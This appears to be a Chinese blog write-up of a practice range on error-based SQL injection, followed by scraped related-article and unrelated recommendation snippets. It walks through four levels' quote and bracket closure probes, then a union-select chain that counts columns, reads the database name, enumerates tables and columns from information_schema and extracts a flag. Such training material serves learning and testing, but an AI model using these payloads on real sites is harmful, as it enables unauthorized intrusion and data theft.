SQL注入的本质:就是将用户输入的数据当作代码带入执行。
注入条件:
1.用户能控制输入
2.能够将程序原本执行的代码,拼接上用户输入的数据进行执行

首先检查是否存在注入点

Rank1:

构造语句 ?id=1 and 1=1 没有报错

?id=1 and 1=2 也没有显示错误,检查是否被过滤了

?id=1' and 1=1 出现错误,说明这里被单引号过滤掉了

?id=1' and 1=1 --+ 回显正确 存在注入

Rank2:

?id=1 and 1=1 回显正确

?id=1 and 1=2 回显错误,判断存在注入

Rank3:

构造:?id=1 and 1=1 回显正确

?id=1 and 1=2 回显正确

?id=1' and 1=1 --+ 闭合引号回显错误,表示出现其他闭合

?id=1')and 1=1 --+ 尝试闭合括号进行绕过,回显正确,存在注入

Rank4:

构造语句:?id=1 and 1=1 回显正确

?id=1 and 1=2 回显正确,判断存在过滤

?id=1'and 1=1 --+ 判断是否存在'闭合 回显正确

?id=1'and 1=2 --+ 回显正确 表示未出现'闭合

?id=1)and 1=1--+ 判断是否存在括号闭合 回显正确

?id=1)and 1=2--+ 依然回显正确

?id=1" and 1 = 1 --+再试一下是否存在"闭合,回显错误,证明存在"闭合

?id=1") and 1 = 1 --+ 尝试和)一起判断过滤,回显正确,存在注入

脱库

由于Rank1-Rank4 都是显错注入,除了过滤之外的步骤都相同,就以Rank1进行脱库步骤

判断当前表的字段数:

?id=1' order by 5 --+ 判断字段数及回显点,显示错误,说明字段小于5

最后判断字段数为3 :

?id=1' order by 3 --+

使用联合查询判断显示位置

?id=0'union select 1,2,3 --+

这里选择2和3构建子查询都可

查询数据库名:

?id=0'union select 1,database(),3 --+

查询表名:

?id=0'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema ='security'),3 --+

查找表中的字段:

因为是找flag,就查找我们觉得最有可能存在的表
?id=0'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'zkaq'),3 --+

存在flag

构建查数据的语句:

?id=0'union select 1,(select group_concat(flag,zKaQ) from security.zkaq),3 --+

[靶场实战]:SQL注入-显错注入的更多相关文章

  1. sql注入 --显错注入

    前提知识 数据库:就是将大量数据把保存起来,通过计算机加工而成的可以高效访问数据库的数据集合数据库结构:库:就是一堆表组成的数据集合表:类似 Excel,由行和列组成的二维表字段:表中的列称为字段记录 ...

  2. ref:学习笔记 UpdateXml() MYSQL显错注入

    ref:https://www.cnblogs.com/MiWhite/p/6228491.html 学习笔记 UpdateXml() MYSQL显错注入 在学习之前,需要先了解 UpdateXml( ...

  3. MSSQL注入:显错注入及反弹注入

    前言: MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖独特的攻击思路. MSSQL的显错注入操作: 以联合查询为例: 猜 ...

  4. 豹子安全-注入工具-显错注入-asp_POST_显错_SQLServer_GetWebShell

    豹子安全-注入工具-显错注入-SQL Server-上传WebShell 请看下列视频 . 该视频在停留10秒钟后开始. 或点击此处查看:豹子安全-注入工具-asp_POST_显错_SQLServer ...

  5. 十种MYSQL显错注入原理讲解(二)

    上一篇讲过,三种MYSQL显错注入原理.下面我继续讲解. 1.geometrycollection() and geometrycollection((select * from(select * f ...

  6. 十种MYSQL显错注入原理讲解(一)

    开篇我要说下,在<代码审计:企业级Web代码安全架构>这本书中讲十种MYSQL显错注入,讲的很清楚. 感兴趣请去读完,若处于某种原因没读还想了解,那请继续往下. 1.count,rand, ...

  7. MSSQL显错注入爆数字型数据的一点思考

    Title:MSSQL显错注入爆数字型数据的一点思考 --2011-02-22 15:23 MSSQL+ASP 最近在弄个站点,密码是纯数字的,convert(int,())转换出来不报错,也不知道其 ...

  8. 别人的渗透测试(三)--SQL显错注入

    续上一章. 安全狗拦下7成的人,过狗是门学问,偷笑.jpg.很感谢和https://home.cnblogs.com/u/xishaonian/ 博主能一起研究过狗. 说多了,言归正传SQL注入大显错 ...

  9. SQL注入——报错注入

    0x00 背景 SQL注入长期位于OWASP TOP10 榜首,对Web 安全有着很大的影响,黑客们往往在注入过程中根据错误回显进行判断,但是现在非常多的Web程序没有正常的错误回显,这样就需要我们利 ...

随机推荐

  1. FontLab VI for Mac 键盘快捷键

    使用FontLab VI for Mac,您可以创建,打开,修改,绘制,空间,文字,提示和导出桌面,网页,颜色和可变字体.该应用程序是一个全能的字体编辑器,但也支持与其他字体创建工具的数据交换,使其易 ...

  2. 代码管理平台之svn

    yum install -y subversion(server和client均安装subversion) configure svn:[root@node01 ~]# mkdir -p /data/ ...

  3. 亚马逊写作文档tip

    亚马逊的文档要求任何一份开会备忘录/要点备忘录都需要控制在4页左右,Jeff 自己也强调过,4页的备忘录比20页的备忘录要求的更高,它不仅需要更好的思考,也需要对开会讨论各个重点之间关系的理解.ppt ...

  4. SecureCRT远程连接The remote system refused the connection问题

    今天用SecureCRT远程连接Linux(Centos 7)时,连不上,报错The remote system refused the connection.于是就百度,首先查看sshd服务有没有启 ...

  5. Password Management:Hardcoded Password 密码管理:硬编码密码

  6. `http-equiv` meta 标签

    来看以下有趣的代码, <!DOCTYPE html> <html lang="en"> <head> <meta http-equiv=& ...

  7. jvm虚拟机笔记<三> 类文件结构与类加载机制

    java虚拟机具有语言无关系,它只和“class文件“这种特定的二进制文件格式绑定. 不同语言的编译器将对应的程序编译成字节码文件(*.class),送给jvm执行. class文件本质上就是一张表, ...

  8. canvas在vue中的应用

    使用cavas可以绘制各种图表.生成二维码.制作H5小游戏. 生命周期 canvas应该在mounted的生命周期中初始化,在updated中是无效的. export default { mounte ...

  9. 【Java基础】String 相关知识点总结

    String 相关知识点总结 字符串的不可变性 概述 String 被声明为 final,因此它不可继承 在 Java8 中,String 内部使用 char 数组存储数据 public final ...

  10. 服务监控之 Spring Boot Admin.

    一.概述  开始阅读这篇文章之前,建议先阅读下<SpringBoot 之Actuator>,该篇文章提到 Spring Boot Actuator 提供了对单个Spring Boot的监控 ...